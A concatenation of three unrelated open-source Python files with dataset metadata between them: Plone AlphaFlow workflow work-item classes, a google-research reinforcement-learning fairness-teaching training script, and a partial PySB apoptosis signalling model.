any comments you " "have for this work item.") ), atapi.StringField("action", vocabulary="getActionVocabulary", widget=atapi.SelectionWidget(label="Workflow action", description="Select an action to perform after saving this " "form.") ) )) schema["id"].widget.visible = \ schema["title"].widget.visible = { 'edit':'hidden', 'view':'hidden' } schema["id"].write_permission = permissions.ManagePortal schema["title"].required = False schema["title"].write_permission = permissions.ManagePortal manage_options = \ ({'label' : 'Overview', 'action' : 'manage_overview'},) + \ LifeCycleObjectBase.manage_options local_role_fake_class = WorkItemLocalRoleFake _af_notified = True security.declareProtected(config.WORK_WITH_PROCESS, '__init__') def __init__(self, id, activity_id, content_object=None): BaseWorkItem.inheritedAttribute('__init__')(self, id) self.activity_id = activity_id self.content_object = content_object self.checkpoints_passed = persistent.list.PersistentList() def __repr__(self): try: state = ILifeCycleController(self).state except TypeError: state = 'n/a' return '<%s for %r (%s)>' % (self.__class__.__name__, self.activity_id, state) security.declarePrivate("getWorkItem") def getWorkItem(self): return self.aq_inner security.declarePublic('getCharset') def getCharset(self): """this is a skin method of archetypes returning the site encoding """ return config.SITE_ENCODING security.declarePublic('reindexObject') def reindexObject(self, idxs=[]): """workitems are very explicitly indexed""" pass security.declarePrivate('reindexWorkitem') def reindexWorkitem(self): BaseWorkItem.inheritedAttribute('reindexObject')(self) security.declarePrivate("beforeCreationItems") def beforeCreationItems(self, items, parent): """Trigger that gets called before new work items get active. Other work items can veto on the creation of those items and return a list of ids as a veto. After all work items have been triggered, the vetoed work items get removed again and never become active. """ return [] ######################### # ZMI convenience methods security.declareProtected(config.MANAGE_WORKFLOW, 'manage_userAction') def manage_userAction(self, actionId, REQUEST): """Performs an action defined by the activity.""" action = self.getActionById(actionId) action() REQUEST.RESPONSE.redirect(self.absolute_url() + "/manage_overview", lock=True) # IWorkItem security.declareProtected(config.WORK_WITH_PROCESS, 'getActions') def getActions(self): "Return a list of actions the user may perform on this work item." return [] security.declareProtected(config.WORK_WITH_PROCESS, 'getActionById') def getActionById(self, id): for action in self.getActions(): if action.id == id: return action raise KeyError(id) security.declareProtected(config.WORK_WITH_PROCESS, 'getGeneratedWorkItems') def getGeneratedWorkItems(self): inst = self.getInstance() wis = [inst[x] for x in self.generated_workitems] return wis security.declareProtected(config.WORK_WITH_PROCESS, 'isRelevant') def isRelevant(self, user): return user in self.listRelevantUsers() security.declareProtected(config.WORK_WITH_PROCESS, 'listRelevantUsers') def listRelevantUsers(self): return [] security.declareProtected(config.WORK_WITH_PROCESS, 'isChildOf') def isChildOf(self, workitem_id=None, workitem=None): """Returns True if the given work item is a predecessor of this work item (in regard to 'was generated by'). You only may give either workitem_id or workitem. """ if workitem_id is None: workitem_id = workitem.getId() if self.id == workitem_id: return False if self.generated_by == workitem_id: return True if self.generated_by == None: return False parent = self.getParent() if hasattr(parent, 'isChildOf'): return parent.isChildOf(workitem_id) return False security.declareProtected(config.WORK_WITH_PROCESS, 'getParent') def getParent(self): """Returns the parent WorkItem or None if this is a root workitem. """ if self.generated_by is None: return None parent = self.getInstance()[self.generated_by] # XXX This is a work-around; generated_by should never contain # the id of an instance. if not IWorkItem.providedBy(parent): return None else: return parent security.declareProtected(config.WORK_WITH_PROCESS, 'getShortInfo') def getShortInfo(self): """Returns a short information text.""" return "%s is in %s state" % (self.getId(), ILifeCycleController(self).state) security.declareProtected(config.WORK_WITH_PROCESS, 'getStatusInfo') def getStatusInfo(self): """Returns a short status information text.""" return ("WorkItems current status: %s" % ILifeCycleController(self).state) def onStart(self): self.passCheckpoint(config.CHECKPOINT_START) def onCompletion(self): self.passCheckpoint(config.CHECKPOINT_COMPLETE) self.completed_by = getSecurityManager().getUser().getUserName() security.declarePublic("getActivity") # XXX .... yurks def getActivity(self): activity = getattr(self, '_v_my_activity', None) if activity is None: process = self.getInstance().getProcess() if not hasattr(process, self.activity_id): ILifeCycleController(self).fail( "Could not find activity definition `%s` for workitem." % self.activity_id) raise AttributeError(self.activity_id) activity = getattr(process, self.activity_id) self._v_my_activity = activity activity = self._v_my_activity # wrapping magic return activity security.declarePublic("getActivityTitleOrId") def getActivityTitleOrId(self): try: activity = self.getActivity() except AttributeError: title = 'n/a' else: title = activity.title_or_id() return title security.declareProtected(config.WORK_WITH_PROCESS, "getDetailStatus") def getDetailStatus(self): """Return a (single line) string that describes the current status a bit more verbose.""" return ILifeCycleController(self).state security.declareProtected(config.WORK_WITH_PROCESS, 'getActionVocabulary') def getActionVocabulary(self): actions = [(action.id, action.title) for action in self.getActions() if action.enabled] # XXX This seems junk: actions.append(("", "No action")) return actions def absolute_url(self, inner=False): """A hackish way to use content objects as views. If this object is (directly) wrapped into an IAlphaFlowed, it will return the url of the IAlphaFlowed object""" absurl = BaseWorkItem.inheritedAttribute("absolute_url") if inner: return absurl(self) if not hasattr(self, 'aq_chain'): return absurl(self) if len(self.aq_chain) < 2: return absurl(self) if IAlphaFlowed.providedBy(self.aq_chain[1]): return self.aq_chain[1].absolute_url() return absurl(self) security.declareProtected(config.WORK_WITH_PROCESS, "getActivityConfiguration") def getActivityConfiguration(self, field, default=None): """Retrieves the configuration for this activity in the context of this instance. """ instance = self.getInstance() return instance.getActivityConfiguration(field, self.activity_id, default=default) security.declarePrivate("createWorkItems") def createWorkItems(self, activity_ids, content_object=None): """Creates a new workitem for the activity with the given name. Raises KeyError if any activity with the names is not known. """ instance = self.getInstance() return instance.createWorkItems(activity_ids, self, content_object=content_object) security.declarePrivate("notifyWorkItemStateChange") def notifyWorkItemStateChange(self, workitem): """Receives a notification that the work item <workitem> has changed it's state """ pass security.declarePrivate("notifyAssigneesChange") def notifyAssigneesChange(self): """notifies the workitem that the assignees might have changed """ alf = getToolByName(self, 'workflow_manager') alf.updateCacheByWorkItem(self) security.declarePrivate('passCheckpoint') def passCheckpoint(self, name): checkpoint = self.createChild(self.getActivity()[name]) self.checkpoints_passed.append(name) ILifeCycleController(checkpoint).start("Started by work item.") return checkpoint.generated_workitems ######################### # IContentObjectRetriever # Force acquisition of getContentObject by context instead of containment security.declareProtected(config.WORK_WITH_PROCESS, 'getContentObject') def getContentObject(self): if self.content_object is None: instance = self.getInstance() ob = instance.getContentObject() else: rc = getToolByName(self, "reference_catalog") ob = rc.lookupObject(self.content_object) return ob security.declareProtected(config.WORK_WITH_PROCESS, 'getContentObjectUID') def getContentObjectUID(self): if self.content_object is None: instance = self.getInstance() uid = instance.getContentObjectUID() else: uid = self.content_object return uid @zope.component.adapter(BaseWorkItem, zope.app.container.interfaces.IObjectAddedEvent) def added_base_workitem(ob, event): modifyRolesForPermission(ob, permissions.ModifyPortalContent, ['Assignee', 'Manager'], acquire=True) ob.setTitle('Workitem') InitializeClass(BaseWorkItem) class BaseAssignableWorkItem(BaseWorkItem): """workitems which are assignable to users subclass this""" zope.interface.implements(IAssignableWorkItem) security = ClassSecurityInfo() @property def showInWorkList(self): return self.getActivity().showInWorkList security.declareProtected(config.WORK_WITH_PROCESS, "listRelevantUsers") def listRelevantUsers(self): if ILifeCycleController(self).state != "active": return [] activity = self.getActivity() assert IAssignableActivity.providedBy(activity) if activity.assigneesKind == 'possible': relevant = self.getActivityConfiguration("assignees") if not isinstance(relevant, (list, tuple)): relevant = [] else: if activity.assigneesExpression is not None: relevant = utils.evaluateTales(activity.assigneesExpression, workitem=self) groupstool = getToolByName(self, "portal_groups") relevant = utils.expandGroups(groupstool, relevant) elif activity.roles: # we have roles roles = activity.roles relevant = self.listMembersWithRolesOnContentObject(roles) else: # we have groups gt = getToolByName(self, 'portal_groups') relevant = utils.expandGroups(gt, activity.groups) return list(relevant) security.declareProtected(config.WORK_WITH_PROCESS, "Schema") def Schema(self): schema = self.schema.copy() try: activity = self.getActivity() except AttributeError: # Not yet in context or reference to activity is broken. # Ignore this. pass else: comment_field = schema['comment'] comment_expr = activity.commentfield # just make sure that the commentfield is set to default # behavior #if comment_expr: # widget = comment_field.widget # widget.visible = {'edit': True, 'view': 1} if comment_expr == "hidden": widget = comment_field.widget widget.visible = {'edit': -1, 'view': -1} comment_field.required = False if comment_expr == "required": comment_field.required = True return schema security.declareProtected(config.WORK_WITH_PROCESS, "getGroupedSchema") def getGroupedSchema(self): """returns sequence of IFieldGroup instances Aggregates configuration schemas from all activities which are configured by this workitem + own schema and returns a schema, grouped by activity Every group returned contains at least one field. """ return [Group(self.getInstance(), self.activity_id, self.schema.fields())] security.declareProtected(config.WORK_WITH_PROCESS, 'getViewUrl') def getViewUrl(self): """return url to view appropriate the page to handle the workitem """ try: activity = self.getActivity() except AttributeError: # The activity doesn't exist. return '' else: return utils.evaluateTales(activity.viewUrlExpression, workitem=self) security.declareProtected(config.WORK_WITH_PROCESS, 'listMembersWithRolesOnContentObject') def listMembersWithRolesOnContentObject(self, roles): """get members who have one of the given roles on the content object """ contentObject = self.getContentObject() if contentObject is None: member_ids = [] else: member_ids = utils.listMembersWithLocalRoles(contentObject, roles) return member_ids security.declarePrivate('_update_ui_after_action') def _update_ui_after_action(self, default_message, REQUEST): if not REQUEST: return None response = getattr(REQUEST, 'RESPONSE', None) if not response or response.status == 302: return None message = REQUEST.get('alphaflow_status_message', default_message) activity = self.getActivity() if activity.completionUrlExpression: url = utils.evaluateTales(activity.completionUrlExpression, workitem=self) response.redirect(url) else: content = self.getContentObject() content.af_redirect_after_action(message) security.declareProtected(config.HANDLE_WORKITEM, 'needs_data') def needs_data(self): """Indicates whether the work item edit form needs to be displayed before performing an action. """ return len(self.getGroupedSchema()) > 1 InitializeClass(BaseAssignableWorkItem) class BaseAutomaticWorkItem(BaseWorkItem): """A base class for work items that work automatically.""" security = ClassSecurityInfo() zope.interface.implements(IAutomaticWorkItem) _automatic_continue = True security.declareProtected(config.WORK_WITH_PROCESS, "getActions") def getActions(self): """Determine all possible actions.""" return [] # Automatic security.declarePrivate("isRelevant") def isRelevant(self, user): """Checks if this workitem is relevant to this user.""" return False # Automatic security.declarePrivate("notifyAssigneesChange") def notifyAssigneesChange(self): """notifies the workitem that the assignees might have changed """ # we are automatic. The assignees never ever change. Thus we do nothing pass security.declarePrivate("onStart") def onStart(self): """Runs the automatic procedure, handles exceptions and moves on.""" try: BaseWorkItem.onStart(self) self.run() except Exception, m: ILifeCycleController(self).fail("Automatic activity failed.", m) else: if self._automatic_continue: self.passCheckpoint("continue") ILifeCycleController(self).complete( "Automatic activity `%s` was successfully executed." % self.getActivity().title_or_id()) security.declareProtected(config.WORK_WITH_PROCESS, 'getShortInfo') def getShortInfo(self): """Short information""" return "automatic activity" security.declareProtected(config.WORK_WITH_PROCESS, 'getStatusInfo') def getStatusInfo(self): """Short status information""" return "Success" security.declarePrivate("run") def run(self): """Performs the actual automatic activity""" pass InitializeClass(BaseAutomaticWorkItem) @zope.component.adapter(IWorkItem, ILifeCycleEvent) def update_after_event(work_item, event): work_item.notifyAssigneesChange() work_item.getInstance().notifyWorkItemStateChange(work_item) ################ # Helper classes class Group: """Helper class to support a specific sort order when grouping multiple schemas into a single schema. """ zope.interface.implements(IFieldGroup) __allow_access_to_unprotected_subobjects__ = 1 def __init__(self, instance, activity_id, fields): self.instance = instance self.activity_id = activity_id self.fields = fields def __cmp__(self, other): return cmp(self.getSortPriority(), other.getSortPriority()) def Title(self): return self.getActivity().title_or_id() def getProcess(self): return self.instance.getProcess() def getActivity(self): return self.getProcess()[self.activity_id] def getSortPriority(self): return self.getActivity().sortPriority class GenericLogEntry(object): zope.interface.implements(Products.AlphaFlow.interfaces.IWorkItemLogEntry) zope.component.adapts(Products.AlphaFlow.interfaces.IWorkItem) def __init__(self, context): self.context = context self.controller = \ Products.AlphaFlow.interfaces.ILifeCycleController(context) @property def state(self): return self.controller.state @property def users(self): pm = getToolByName(self.context, 'portal_membership') if self.controller.completed: users = [self.controller.completed_by] else: users = self.context.listRelevantUsers() return [pm.getMemberById(user) for user in users] @property def task(self): try: activity = self.context.getActivity() except AttributeError: return 'n/a' else: return activity.title @property def results(self): """Titles of the checkpoints that were passed, except start and end.""" checkpoints = [x for x in self.context.checkpoints_passed if x not in [Products.AlphaFlow.config.CHECKPOINT_START, Products.AlphaFlow.config.CHECKPOINT_COMPLETE]] try: activity = self.context.getActivity() except AttributeError: titles = "" else: titles = [activity[x].title for x in checkpoints] titles = ", ".join(titles) return titles @property def date(self): if self.controller.completed: return self.controller.end return DateTime.DateTime() @property def comment(self): return self.context.getComment() @property def annotation(self): return ''
34.270308
83
0.643958
79594d501b816c0f8587fae598e48a2f2c16d5f7
11,492
py
Python
fairness_teaching/rl/train.py
shaun95/google-research
d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5
[ "Apache-2.0" ]
1
2022-03-13T21:48:52.000Z
2022-03-13T21:48:52.000Z
fairness_teaching/rl/train.py
shaun95/google-research
d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5
[ "Apache-2.0" ]
null
null
null
fairness_teaching/rl/train.py
shaun95/google-research
d41bbaca1eb9bfd980ec2b3fd201c3ddb4d1f2e5
[ "Apache-2.0" ]
1
2022-03-30T07:20:29.000Z
2022-03-30T07:20:29.000Z
# coding=utf-8 # Copyright 2022 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import sys import argparse import numpy as np import tensorflow as tf import data import model # pylint: skip-file parser = argparse.ArgumentParser() parser.add_argument('--gpu', type=str, default='0', help='GPU to use [default: GPU 0]') parser.add_argument('--real_path', default='../data/resize128') parser.add_argument('--fake_path', default='../data/fake') parser.add_argument('--train_label', default='../data/annotations/train_label.txt') parser.add_argument('--test_label', default='../data/annotations/test_label.txt') parser.add_argument('--valid_label', default='../data/annotations/val_label.txt') parser.add_argument('--log_dir', default='log', help='Log dir [default: log]') parser.add_argument('--n_episode', type=int, default=500, help='Epoch to run [default: 50]') parser.add_argument('--batch_size', type=int, default=64, help='Batch size during training [default: 64]') parser.add_argument('--n_class', type=int, default=2, help='Number of class [default: 2]') parser.add_argument('--n_action', type=int, default=2, help='Number of action [default: 2]') parser.add_argument('--lr', type=float, default=0.1, help='Initial learning rate [default: 0.1]') parser.add_argument('--momentum', type=float, default=0.9, help='Initial learning rate [default: 0.9]') parser.add_argument('--optimizer', default='momentum', help='adam or momentum [default: momentum]') FLAGS = parser.parse_args() ##################### config ##################### os.environ["CUDA_DEVICE_ORDER"]="PCI_BUS_ID" os.environ["CUDA_VISIBLE_DEVICES"]=FLAGS.gpu tf.set_random_seed(100) # tf.set_random_seed(0)# 0 for 512 REAL_PATH = FLAGS.real_path FAKE_PATH = FLAGS.fake_path TRAIN_LABEL = FLAGS.train_label TEST_LABEL = FLAGS.test_label VALID_LABEL = FLAGS.valid_label BATCH_SIZE = FLAGS.batch_size N_EPISODE = FLAGS.n_episode N_CLASS = FLAGS.n_class N_ACTION = FLAGS.n_action LR = FLAGS.lr MOMENTUM = FLAGS.momentum ROOT_PATH = os.path.dirname(os.path.realpath(__file__)) LOG_PATH = os.path.join(ROOT_PATH, FLAGS.log_dir) if not os.path.exists(LOG_PATH): os.mkdir(LOG_PATH) acc_count = 0 while True: if os.path.exists(os.path.join(LOG_PATH, 'log_%02d.txt' % acc_count)): acc_count += 1 else: break LOG_FNAME = 'log_%02d.txt' % acc_count LOG_FOUT = open(os.path.join(LOG_PATH, LOG_FNAME), 'w') (train_images, train_labels, train_att), train_iters = data.data_train(REAL_PATH, TRAIN_LABEL, BATCH_SIZE) (fake_images, fake_labels, fake_att), fake_iters = data.data_train(FAKE_PATH, TRAIN_LABEL, BATCH_SIZE) (valid_images, valid_labels, valid_att), valid_iters = data.data_test(REAL_PATH, VALID_LABEL, BATCH_SIZE) (test_images, test_labels, test_att), test_iters = data.data_test(REAL_PATH, TEST_LABEL, BATCH_SIZE) #################################################### def log_string(out_str): LOG_FOUT.write(out_str+'\n') LOG_FOUT.flush() print(out_str) def choose_action(prob_actions): actions = [] for i in range(prob_actions.shape[0]): action = np.random.choice(range(prob_actions.shape[1]), p=prob_actions[i]) actions.append(action) return np.array(actions) def vgg_graph(sess, phs): VGG = model.VGG() Y_score = VGG.build(phs['batch_images'], N_CLASS, phs['is_training_ph']) Y_hat = tf.nn.softmax(Y_score) Y_pred = tf.argmax(Y_hat, 1) Y_label = tf.to_float(tf.one_hot(phs['batch_labels'], N_CLASS)) cross_entropy = tf.nn.softmax_cross_entropy_with_logits(logits = Y_score, labels = Y_label) loss_op = tf.reduce_mean(cross_entropy) correct_prediction = tf.equal(tf.argmax(Y_hat, 1), tf.argmax(Y_label, 1)) acc_op = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) update_op = tf.train.MomentumOptimizer(LR, MOMENTUM).minimize(loss_op, var_list=VGG.vars) return loss_op, acc_op, cross_entropy, Y_hat, update_op, Y_pred, VGG.vars def rl_graph(sess, phrl): Actor = model.Actor() Y_score = Actor.build(phrl['states_rl'], N_ACTION, phrl['is_training_rl']) Y_prob =tf.nn.softmax(Y_score) neg_log_prob = tf.nn.sparse_softmax_cross_entropy_with_logits(logits = Y_score, labels = phrl['actions_rl']) loss_op = tf.reduce_mean(neg_log_prob*phrl['values_rl']) # update_op = tf.train.MomentumOptimizer(LR, MOMENTUM).minimize(loss_op, var_list=Actor.vars) update_op = tf.train.AdamOptimizer(1e-3).minimize(loss_op, var_list=Actor.vars) return loss_op, Y_prob, update_op, Actor.vars def train(): batch_images = tf.placeholder(tf.float32,[None,128,128,3]) batch_labels = tf.placeholder(tf.int32,[None,]) is_training_ph = tf.placeholder(tf.bool) lr_ph = tf.placeholder(tf.float32) states_rl = tf.placeholder(tf.float32,[None,11]) actions_rl = tf.placeholder(tf.int32,[None,]) values_rl = tf.placeholder(tf.float32,[None,]) is_training_rl = tf.placeholder(tf.bool) lr_rl = tf.placeholder(tf.float32) phs = {'batch_images': batch_images, 'batch_labels': batch_labels, 'is_training_ph': is_training_ph, 'lr_ph': lr_ph} phrl = {'states_rl': states_rl, 'actions_rl': actions_rl, 'values_rl': values_rl, 'is_training_rl': is_training_rl, 'lr_rl': lr_rl} with tf.Session() as sess: # tf.reset_default_graph() vgg_loss, vgg_acc, vgg_ce, vgg_prob, vgg_update, vgg_pred, vgg_vars = vgg_graph(sess, phs) rl_loss, rl_prob, rl_update, rl_vars = rl_graph(sess, phrl) vgg_init = tf.variables_initializer(var_list=vgg_vars) saver = tf.train.Saver(vgg_vars) all_saver = tf.train.Saver() init = tf.global_variables_initializer() sess.run(init) ##################### pre-train student model ##################### for epoch in range(4): for t in range(train_iters): if t % 50==0: print("pretrain:", t) tr_images, tr_labels = sess.run([train_images,train_labels]) pre_dict = {phs['batch_images']: tr_images, phs['batch_labels']: tr_labels, phs['is_training_ph']: True} sess.run(vgg_update, feed_dict=pre_dict) saver.save(sess,LOG_PATH+'/vgg.ckpt') valid_acc = 0.0 y_pred =[] y_label = [] y_att = [] for k in range(valid_iters): va_images, va_labels, va_att = sess.run([valid_images, valid_labels, valid_att]) valid_dict = {phs['batch_images']: va_images, phs['batch_labels']: va_labels, phs['is_training_ph']: False} batch_acc, batch_pred = sess.run([vgg_acc,vgg_pred], feed_dict=valid_dict) valid_acc += batch_acc y_pred += batch_pred.tolist() y_label += va_labels.tolist() y_att += va_att.tolist() valid_acc = valid_acc / float(valid_iters) valid_eo = data.cal_eo(y_att, y_label, y_pred) log_string('====pretrain: valid_acc=%.4f, valid_eo=%.4f' % (valid_acc, valid_eo[-1])) print(valid_eo) ##################### train teacher model ##################### for i in range(N_EPISODE): # sess.run(vgg_init) saver.restore(sess,LOG_PATH+'/vgg.ckpt') state_list = [] action_list = [] reward_list = [] for j in range(train_iters*20): tr_images, tr_labels, tr_att = sess.run([train_images,train_labels, train_att]) fa_images, fa_labels, fa_att = sess.run([fake_images,fake_labels, fake_att]) # va_images, va_labels, va_att = sess.run([valid_images,valid_labels, valid_att]) ##################### generate state info from student model & data ##################### train_dict = {phs['batch_images']: tr_images, phs['batch_labels']: tr_labels, phs['is_training_ph']: False} ce, acc, prob, pred = sess.run([vgg_ce, vgg_acc, vgg_prob, vgg_pred], feed_dict=train_dict) ce = np.clip(ce, 0, 10)/10.0 model_stat = list(data.cal_eo(tr_att, tr_labels, pred)) model_stat.append(np.mean(ce)) model_stat = np.tile(model_stat,(BATCH_SIZE,1)) state = np.concatenate((tr_labels[:, np.newaxis], tr_att[:, np.newaxis], prob, ce[:, np.newaxis], model_stat), axis=1) state_list.append(state) ##################### sample action for this batch ##################### rl_dict = {phrl['states_rl']: state, phrl['is_training_rl']: False} action = choose_action(sess.run(rl_prob, feed_dict=rl_dict)) action_list.append(action) bool_train = list(map(bool,action)) bool_fake = list(map(bool,1-action)) co_images = np.concatenate((tr_images[bool_train],fa_images[bool_fake]),axis=0) co_labels = np.concatenate((tr_labels[bool_train],fa_labels[bool_fake]),axis=0) ##################### update student model with new data ##################### update_dict = {phs['batch_images']: co_images, phs['batch_labels']: co_labels, phs['is_training_ph']: True} _, ce, acc = sess.run([vgg_update, vgg_ce, vgg_acc], feed_dict=update_dict) if j % 100 == 0: print('====epoch_%d====iter_%d: loss=%.4f, train_acc=%.4f' % (i, j, np.mean(ce), acc)) print(action, np.sum(action)) ##################### generate terminal reward after 20 epoch of student training ##################### valid_acc = 0.0 y_pred =[] y_label = [] y_att = [] for k in range(valid_iters): va_images, va_labels, va_att = sess.run([valid_images, valid_labels, valid_att]) valid_dict = {phs['batch_images']: va_images, phs['batch_labels']: va_labels, phs['is_training_ph']: False} batch_acc, batch_pred = sess.run([vgg_acc,vgg_pred], feed_dict=valid_dict) valid_acc += batch_acc y_pred += batch_pred.tolist() y_label += va_labels.tolist() y_att += va_att.tolist() valid_acc = valid_acc / float(valid_iters) valid_eo = data.cal_eo(y_att, y_label, y_pred) log_string('====epoch_%d: valid_acc=%.4f, valid_eo=%.4f' % (i, valid_acc, valid_eo[-1])) print('eo: ',valid_eo[0],valid_eo[1]) print('eo: ',valid_eo[2],valid_eo[3]) if valid_acc<0.72: value = -5 else: value = -np.log(valid_eo[-1]+1e-4) if valid_acc>0.7 and valid_eo[-1]<0.2: all_saver.save(sess,LOG_PATH+'/all.ckpt') ##################### update teacher model ##################### if i == 0: base = value else: base = base * 0.99 + value * 0.01 reward = value - base print('reward: ',reward) final_state = np.reshape(state_list, (-1,11)) final_action = np.reshape(action_list, (-1)) final_reward = np.repeat(reward, final_state.shape[0]) learn_dict = {phrl['states_rl']: final_state, phrl['actions_rl']: final_action, phrl['values_rl']: final_reward, phrl['is_training_rl']: True} sess.run(rl_update, feed_dict=learn_dict) if __name__ == "__main__": train() LOG_FOUT.close()
41.487365
126
0.656805
79594d524316aafdaf0ea282cb4f4ade8a1f00e5
16,078
py
Python
log_mito/model_67.py
LoLab-VU/Bayesian_Inference_of_Network_Dynamics
54a5ef7e868be34289836bbbb024a2963c0c9c86
[ "MIT" ]
null
null
null
log_mito/model_67.py
LoLab-VU/Bayesian_Inference_of_Network_Dynamics
54a5ef7e868be34289836bbbb024a2963c0c9c86
[ "MIT" ]
null
null
null
log_mito/model_67.py
LoLab-VU/Bayesian_Inference_of_Network_Dynamics
54a5ef7e868be34289836bbbb024a2963c0c9c86
[ "MIT" ]
null
null
null
# exported from PySB model 'model' from pysb import Model, Monomer, Parameter, Expression, Compartment, Rule, Observable, Initial, MatchOnce, Annotation, ANY, WILD Model() Monomer('Ligand', ['Receptor']) Monomer('ParpU', ['C3A']) Monomer('C8A', ['BidU']) Monomer('SmacM', ['BaxA']) Monomer('BaxM', ['BidM', 'BaxA']) Monomer('Apop', ['C3pro', 'Xiap']) Monomer('Fadd', ['Receptor', 'C8pro']) Monomer('SmacC', ['Xiap']) Monomer('ParpC') Monomer('Xiap', ['SmacC', 'Apop', 'C3A']) Monomer('C9') Monomer('C3ub') Monomer('C8pro', ['Fadd']) Monomer('C3pro', ['Apop']) Monomer('CytoCM', ['BaxA']) Monomer('CytoCC') Monomer('BaxA', ['BaxM', 'BaxA_1', 'BaxA_2', 'SmacM', 'CytoCM']) Monomer('ApafI') Monomer('BidU', ['C8A']) Monomer('BidT') Monomer('C3A', ['Xiap', 'ParpU']) Monomer('ApafA') Monomer('BidM', ['BaxM']) Monomer('Receptor', ['Ligand', 'Fadd']) Parameter('bind_0_Ligand_binder_Receptor_binder_target_2kf', 1.0) Parameter('bind_0_Ligand_binder_Receptor_binder_target_1kr', 1.0) Parameter('bind_0_Receptor_binder_Fadd_binder_target_2kf', 1.0) Parameter('bind_0_Receptor_binder_Fadd_binder_target_1kr', 1.0) Parameter('substrate_binding_0_Fadd_catalyzer_C8pro_substrate_2kf', 1.0) Parameter('substrate_binding_0_Fadd_catalyzer_C8pro_substrate_1kr', 1.0) Parameter('catalytic_step_0_Fadd_catalyzer_C8pro_substrate_C8A_product_1kc', 1.0) Parameter('catalysis_0_C8A_catalyzer_BidU_substrate_BidT_product_2kf', 1.0) Parameter('catalysis_0_C8A_catalyzer_BidU_substrate_BidT_product_1kr', 1.0) Parameter('catalysis_1_C8A_catalyzer_BidU_substrate_BidT_product_1kc', 1.0) Parameter('conversion_0_CytoCC_subunit_d_ApafI_subunit_c_ApafA_complex_2kf', 1.0) Parameter('conversion_0_CytoCC_subunit_d_ApafI_subunit_c_ApafA_complex_1kr', 1.0) Parameter('inhibition_0_SmacC_inhibitor_Xiap_inh_target_2kf', 1.0) Parameter('inhibition_0_SmacC_inhibitor_Xiap_inh_target_1kr', 1.0) Parameter('conversion_0_C9_subunit_d_ApafA_subunit_c_Apop_complex_2kf', 1.0) Parameter('conversion_0_C9_subunit_d_ApafA_subunit_c_Apop_complex_1kr', 1.0) Parameter('catalysis_0_Apop_catalyzer_C3pro_substrate_C3A_product_2kf', 1.0) Parameter('catalysis_0_Apop_catalyzer_C3pro_substrate_C3A_product_1kr', 1.0) Parameter('catalysis_1_Apop_catalyzer_C3pro_substrate_C3A_product_1kc', 1.0) Parameter('inhibition_0_Xiap_inhibitor_Apop_inh_target_2kf', 1.0) Parameter('inhibition_0_Xiap_inhibitor_Apop_inh_target_1kr', 1.0) Parameter('catalysis_0_Xiap_catalyzer_C3A_substrate_C3ub_product_2kf', 1.0) Parameter('catalysis_0_Xiap_catalyzer_C3A_substrate_C3ub_product_1kr', 1.0) Parameter('catalysis_1_Xiap_catalyzer_C3A_substrate_C3ub_product_1kc', 1.0) Parameter('catalysis_0_C3A_catalyzer_ParpU_substrate_ParpC_product_2kf', 1.0) Parameter('catalysis_0_C3A_catalyzer_ParpU_substrate_ParpC_product_1kr', 1.0) Parameter('catalysis_1_C3A_catalyzer_ParpU_substrate_ParpC_product_1kc', 1.0) Parameter('equilibration_0_BidT_equil_a_BidM_equil_b_1kf', 1.0) Parameter('equilibration_0_BidT_equil_a_BidM_equil_b_1kr', 1.0) Parameter('catalysis_0_BidM_catalyzer_BaxM_substrate_BaxA_product_2kf', 1.0) Parameter('catalysis_0_BidM_catalyzer_BaxM_substrate_BaxA_product_1kr', 1.0) Parameter('catalysis_1_BidM_catalyzer_BaxM_substrate_BaxA_product_1kc', 1.0) Parameter('self_catalyze_0_BaxA_self_catalyzer_BaxM_self_substrate_2kf', 1.0) Parameter('self_catalyze_0_BaxA_self_catalyzer_BaxM_self_substrate_1kr', 1.0) Parameter('self_catalyze_1_BaxA_self_catalyzer_BaxM_self_substrate_1kc', 1.0) Parameter('pore_formation_0_BaxA_pore_2kf', 1.0) Parameter('pore_formation_0_BaxA_pore_1kr', 1.0) Parameter('pore_formation_1_BaxA_pore_2kf', 1.0) Parameter('pore_formation_1_BaxA_pore_1kr', 1.0) Parameter('pore_formation_2_BaxA_pore_2kf', 1.0) Parameter('pore_formation_2_BaxA_pore_1kr', 1.0) Parameter('transport_0_BaxA_pore_SmacM_cargo_M_SmacC_cargo_C_2kf', 1.0) Parameter('transport_0_BaxA_pore_SmacM_cargo_M_SmacC_cargo_C_1kr', 1.0) Parameter('transport_1_BaxA_pore_SmacM_cargo_M_SmacC_cargo_C_1kc', 1.0) Parameter('transport_0_BaxA_pore_CytoCM_cargo_M_CytoCC_cargo_C_2kf', 1.0) Parameter('transport_0_BaxA_pore_CytoCM_cargo_M_CytoCC_cargo_C_1kr', 1.0) Parameter('transport_1_BaxA_pore_CytoCM_cargo_M_CytoCC_cargo_C_1kc', 1.0) Parameter('Ligand_0', 1000.0) Parameter('ParpU_0', 1000000.0) Parameter('C8A_0', 0.0) Parameter('SmacM_0', 100000.0) Parameter('BaxM_0', 40000.0) Parameter('Apop_0', 0.0) Parameter('Fadd_0', 130000.0) Parameter('SmacC_0', 0.0) Parameter('ParpC_0', 0.0) Parameter('Xiap_0', 16750.0) Parameter('C9_0', 100000.0) Parameter('C3ub_0', 0.0) Parameter('C8pro_0', 130000.0) Parameter('C3pro_0', 21000.0) Parameter('CytoCM_0', 500000.0) Parameter('CytoCC_0', 0.0) Parameter('BaxA_0', 0.0) Parameter('ApafI_0', 100000.0) Parameter('BidU_0', 171000.0) Parameter('BidT_0', 0.0) Parameter('C3A_0', 0.0) Parameter('ApafA_0', 0.0) Parameter('BidM_0', 0.0) Parameter('Receptor_0', 100.0) Observable('Ligand_obs', Ligand()) Observable('ParpU_obs', ParpU()) Observable('C8A_obs', C8A()) Observable('SmacM_obs', SmacM()) Observable('BaxM_obs', BaxM()) Observable('Apop_obs', Apop()) Observable('Fadd_obs', Fadd()) Observable('SmacC_obs', SmacC()) Observable('ParpC_obs', ParpC()) Observable('Xiap_obs', Xiap()) Observable('C9_obs', C9()) Observable('C3ub_obs', C3ub()) Observable('C8pro_obs', C8pro()) 